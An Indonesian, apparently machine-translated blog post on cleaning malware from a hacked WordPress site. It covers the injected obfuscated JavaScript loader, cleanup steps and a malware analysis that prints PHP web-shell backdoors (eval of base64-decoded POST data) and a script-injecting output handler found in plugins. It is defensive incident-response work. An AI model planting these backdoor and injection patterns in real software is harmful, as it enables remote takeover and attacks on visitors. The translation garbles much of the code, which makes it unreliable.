Menghapus Malware dari sebuah blog WordPress

Awal minggu ini kami disewa untuk menghapus malware dari situs web yang cukup populer. Kode jahat ada di sana untuk beberapa saat dan situs mendapat blacklist oleh google. Begitulah pemiliknya melihatnya.

Setiap seseorang mencoba untuk mengunjunginya (baik Chrome menggunakan atau Firefox) atau pencarian untuk situs ini di google, yang jelek “Laporan Serangan Site” pesan akan muncul.

tidak baik bagi pemilik situs yang menghasilkan uang dengan iklan dan tidak mampu kehilangan pengguna. Jika mereka telah menggunakan monitor Integritas berbasis web kami, yang tidak akan terjadi, tetapi karena mereka tidak, sekarang sudah waktunya untuk memperbaiki masalah.

1-Memahami masalah

Hal pertama yang kami lakukan adalah untuk melihat di mana dan bagaimana kode tersebut muncul. Kami menggunakan alat dump sederhana untuk melihat halaman sumber (lynx adalah alat baris perintah yang tersedia pada sistem Linux):

$ Lynx-source-dump [siteinquestion]

Ini menunjukkan sumber seluruh halaman dan dengan menganalisis itu kita melihat javascript yang aneh berikut (sedikit dimodifikasi untuk melindungi yang tidak bersalah):

(Fungsi () {var OgDs =’%’; var FJQr = (‘v_61r_20_61_3d_22Scr_69ptEn_67_69ne_22_2c_62_3d_22_56ers_69on () + _
22_2cj_3d … _64ex_4ff (_22Chrome_22_29_3c0) _26_26 (u_2ei_6ede_78_4ff
. (_22_57_69_6e_22) _3e0) .. _3b_7d ‘) Mengganti (/ _ / g, OgDs); var NF1 = unescape (FJQr); eval (NF1 )})();

2-Menganalisis javascript

Ada beberapa cara untuk menganalisis Javascript berbahaya, dan kami memilih yang lebih mudah. Kita melihat bahwa mereka menambahkan sebuah javascript melarikan diri, unescaped dan menggunakan fungsi eval mengurai konten. Aku disalin javascript ke file lokal dan dimodifikasi final “eval” fungsi untuk satu “peringatan”. Sekarang, bukan mengeksekusi kode, ia akan mencetaknya.

var a = “ScriptEngine”, b = “Versi ()+”, j =” “, u = navigator.userAgent, jika ((u.indexOf (” Chrome “) <0) & & (u.indexOf (” Win ” )> 0) & & (u.indexOf (“NT 6”) <0) & & (document.cookie.indexOf (“miek = 1”) <0) & & (typeof (zrvzts) = typeof! (“A”)) ) {zrvzts = “A”; eval (“if (window.” + a + “) j = j +” + a + “Mayor” + b + a + “Minor” + b + a + “Build” + b + “j;”) ; document.write (“src = / / martu” + “z.cn / >”);} vid <\ / script

Jadi, beban unescaped kode script lain dari situs martuz.cn. Setelah mencari sedikit, ini tampaknya merupakan serangan tua (dari pertengahan 2009), yang entah bagaimana masih berjalan sekitar. martuz.cn sekarang terjangkau, sehingga kabar baiknya adalah bahwa serangan tersebut tidak melakukan apa-apa terhadap pengguna.

3-Membersihkan WordPress

Setelah kami menemukan apa yang kode itu dan apa yang dilakukannya, sekarang sudah waktunya untuk menghapusnya dari situs. Itulah yang kami lakukan:

1. Backup seluruh WordPress database (menggunakan alat Ekspor dan melalui dump SQL)
2. Kembali seluruh direktori WordPress untuk analisis dan dihapus dari situs
3. Berubah semua password, rekening yang tidak terpakai dan jasa dan dibersihkan kotak
4. WordPress diinstal ulang dari awal (versi terakhir), kembali impor database (setelah memeriksa bahwa itu aman) dan diinstal ulang tema mereka dari awal (untuk memastikan hal itu tidak hacked juga).
5. Bekerja dengan Google untuk mendapatkan situs dihapus dari daftar hitam mereka

4-Analisis malware

Setelah situs itu bersih dan klien senang, kami pergi untuk melakukan analisis yang lebih baik serangan. Pertama, kami melakukan diff antara versi WordPress dan yang asli (mereka pada versi 2.8):

$ Diff-r-i-strip-trailing-cr-b-B sitedump / public_html wordpress
Hanya di sitedump / public_html / wp-content / plugins: multi-level-navigasi-plugin1
Hanya di sitedump / public_html / wp-content / plugins: order-kategori
Hanya di sitedump / public_html / wp-content / plugins: seo-otomatis-link
Hanya di sitedump / public_html / wp-content / plugins: wp-menghubungi-bentuk
Hanya di sitedump / public_html / wp-content / plugins: wp-db-backup

Kami juga melakukan diff antara tema asli dan yang mereka gunakan dan tidak ada perubahan besar yang ditemukan. Dengan itu, jelas bagi kita bahwa masalah itu di salah satu plugin.

Kami mulai dengan mencari kode javascript dalam direktori plugin dan tidak ada yang dikembalikan. Itu berarti bahwa kode tersebut mungkin lolos (tersembunyi) dalam beberapa cara. Jadi kami mencari base64_decode atau eval (PHP fungsi yang umumnya digunakan oleh penulis malware):

multi-level-navigation-plugin1/images/image.php:
multi-level-navigation-plugin1/images/gifimg.php:
wp-db-backup/wp-db-backup.php: if (! pasti (‘TMP_XHGFJOKL’)) define (‘TMP_XHGFJOKL’, base64_decode (‘PHNjcml
wdCBsYW5ndWFnZT1qYXZhc .. 2NyaXB0PjwhLS0gCPC9zY3JpcHQ +’)); fungsi tmp_lkojfghx ($ s) {if ($ g = (substr ($ s, 0,2) == chr (31) chr (139)).) $ s = gzinflate (substr ( $ s, 10, -8)); if (preg_match_all (‘# <(.*?)# skrip’, $ s, $ a foreach)) ($ a [0] sebagai $ v) if (count (meledak (“\ n”, $ v))> 5) {$ e = preg_match (‘# [\'”][^ \ s \’ “\,; \ \ [\]:.!? /
\ (\)] {30 ,}#’,$ v) | | preg_match (‘# [\ (\ [] (\ s * \ d +,) {20 ,}#’,$ v); if ((preg_match (‘# \ beval \ b #’, $ v e )&&($ | | strpos ($ v, ‘fromCharCode’)))||($ e & &strpos; ($ v,’ document.write s’)))$ = str_replace ($ v, “, $ s);} $ s1 = preg_replace (‘# <- \ n \ (fungsi \ (+ \ n s ->#’,”,$).?! ; if (stristr ($ s, ‘tubuh <‘)) $ s = preg_replace (‘# (\ s * tubuh <) # mi’, TMP_XHGFJOKL ‘\ 1’, $ s1.); elseif (($ s1 =! $ s) | | stristr ($ s, ‘<!– body') | | stristr ($ s, '‘))$ s = $ s1.TMP_XHGFJOKL; return $ g gzencode ($ s?): $ s;} fungsi tmp_lkojfghx2 ($ a $ = 0, b = 0, $ c = 0, $ d = 0) {$ s = array (); if ($ b & & $ [‘tmp_xhgfjokl’] GLOBALS) call_user_func ($ GLOBALS [‘tmp_xhgfjokl’]
, B $ a, $, c $, $ d); foreach (@ ob_get_status (1) sebagai $ v) if (($ a = $ ‘nama’])==’ tmp_lkojfghx’ v [) kembali; lain $ s [] = array ($ a == ‘default output handler’ salah: $ a?); for ($ i = count ($ s) -1; $ i> = 0; $ i-) {$ s [$ i ] [1] = ob_get_contents (); ob_end_clean ();} ob_start (‘tmp_lkojfghx’); for ($ i = 0; $

Jadi, ini wp-db-backup/wp-db-backup.php 3 file, image.php dan gifimg.php telah mungkin sesuatu yang tersembunyi. Untuk menganalisis kode ini, kami melakukan hal yang sama kita lakukan dengan Javascript. Kami memodifikasi “eval” fungsi untuk “echo” untuk melihat apa yang dilakukannya. Pada backup.php-db wp-kita dihapus string encoded dan diterjemahkan itu eksternal menggunakan alat base64 baris perintah:

$ Multi-level-navigation-plugin1/images/image.php php
if (isset ([‘e’] $ _POST)) eval (base64_decode ($ _POST [‘e’])); echo ‘32303d2e34332e3230382e3231323a64696865746172693a62746c646f7a6572’;
$ Multi-level-navigation-plugin1/images/gifimg.php php
if (isset ([‘e’] $ _POST)) eval (base64_decode ($ e _POST [”]));

Analisis untuk backup.php wp-db-:

echo ‘PHNjcmlwdCB .. pOwogLS0 + PC9zY3JpcHQ’ | base64-d
// ! –
(Fungsi () {var OgDs =’%’; var FJQr = (‘v_61r_20_61r_2eu_j_3b_22) _3b_64_6fc_75ment_2e_77_72ite (_22_3cscr
_69pt_20src_3d_2f_2f_6da_72_74_75_22 + _22_7a_2ec_6e_2f_76_69d_2f_3fid_
3d_22_2bj + _22_3e_3c_5c_2fscript_3e_22) _3b_7d ‘). R
eplace (/ _ / g, OgDs); var NF1 = unescape (FJQr); eval (NF1 )})();

Jadi, semuanya punya backdoor untuk memungkinkan penyerang untuk mengeksekusi script PHP (dan perintah) yang mereka inginkan di kotak (lihat eval (POST)) dan wp-db-backup.php punya script untuk membuat javascript berbahaya pada semua halaman.
]]>

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

%d bloggers like this: